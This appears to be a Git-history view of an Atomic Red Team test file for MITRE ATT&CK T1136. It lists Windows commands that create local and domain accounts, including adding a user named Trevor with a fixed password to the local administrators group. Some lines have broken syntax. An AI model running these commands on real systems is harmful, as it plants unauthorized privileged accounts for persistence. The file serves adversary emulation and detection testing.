atomic-red-team/Windows/Credential_Access/Create Account.md

36 lines
869 B
Markdown
Raw Normal View History

2017-10-11 17:35:17 +00:00
# Create Account
MITRE ATT&CK Technique: [T1136](https://attack.mitre.org/wiki/Technique/T1136)
## Net.exe
Local user add:
Net user /add Trevor SmshBgr123
Add new user to localgroup:
2017-10-12 03:27:24 +00:00
net localgroup administrators Trevor /add
2017-10-11 17:35:17 +00:00
Domain add:
2017-10-12 03:27:24 +00:00
net user <username> \password \domain
2017-10-11 17:35:17 +00:00
Add user to Active Directory:
dsadd user CN=John,CN=Users,DC=it,DC=uk,DC=savilltech,DC=com -samid John -pwd Pa55word123
# Powershell 5.1
The following requires [Powershell 5.1](https://www.microsoft.com/en-us/download/details.aspx?id=54616)
Additional information [here](https://4sysops.com/archives/the-new-local-user-and-group-cmdlets-in-powershell-5-1/)
## Add User
New-LocalUser -FullName 'Trevor R.' -Name 'Trevor' -Password SmshBgr Description 'Pwnage account'
## Create a group
New-LocalGroup -Name 'Testgroup' -Description 'Testing group'